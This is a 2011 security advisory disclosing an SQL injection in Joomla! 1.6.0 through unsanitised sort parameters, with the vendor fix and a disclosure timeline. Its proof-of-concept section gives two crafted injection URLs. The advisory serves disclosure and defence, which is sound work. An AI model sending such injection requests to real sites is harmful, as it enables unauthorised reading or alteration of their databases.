================================= Joomla! 1.6.0 | SQL Injection Vulnerability ================================= 1. OVERVIEW Joomla! 1.6.0 was vulnerable to SQL Injection. 2. BACKGROUND Joomla is a free and open source content management system (CMS) for publishing content on the World Wide Web and intranets. It comprises a model–view–controller (MVC) Web application framework that can also be used independently. Joomla is written in PHP, uses object-oriented programming (OOP) techniques and software design patterns, stores data in a MySQL database, and includes features such as page caching, RSS feeds, printable versions of pages, news flashes, blogs, polls, search, and support for language internationalization. 3. VULNERABILITY DESCRIPTION Parameters (filter_order, filer_order_Dir) were not properly sanitized in Joomla! that lead to SQL Injection vulnerability. This could an attacker to inject or manipulate SQL queries in the back-end database, allowing for the manipulation or disclosure of arbitrary data. 4. VERSION AFFECTED Joomla! 1.6.0 5. PROOF-OF-CONCEPT/EXPLOIT http://attacker.in/joomla160/index.php/using-joomla/extensions/components/content-component/article-category-list/?filter_order=yehg.net.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaAAAAAAAAAAAAAAAAAAA,&filter_order_Dir=2&limit=3&limitstart=4 http://attacker.in/joomla160/index.php/using-joomla/extensions/components/content-component/article-category-list/?filter_order=1,&filter_order_Dir=yehg.net.BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB,&limit=3&limitstart=4 This is the exact same variant as shown in Joomla! 1.5.21: http://yehg.net/lab/pr0js/advisories/joomla/core/[joomla_1.5_21]_sql_injection We thought Joomla! team would fix this issue in 1.6.0 stable release whilst they fixed it in Joomla! 1.5.22! 6. SOLUTION Upgrade to Joomla! 1.6.1 or higher 7. VENDOR Joomla! Developer Team http://www.joomla.org 8. CREDIT This vulnerability was discovered by Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar. 9. DISCLOSURE TIME-LINE 2011-01-24: notified vendor 2011-03-08: vendor released fix 2011-03-14: vulnerability disclosed 10. REFERENCES Vendor Advisory URL: http://developer.joomla.org/security/news/328-20110201-core-sql-injection-path-disclosure.html Original Advisory URL: http://yehg.net/lab/pr0js/advisories/joomla/core/[joomla_1.6.0]_sql_injection OWASP Top 10: http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project CWE-89: http://cwe.mitre.org/data/definitions/89.html #yehg [2011-03-14]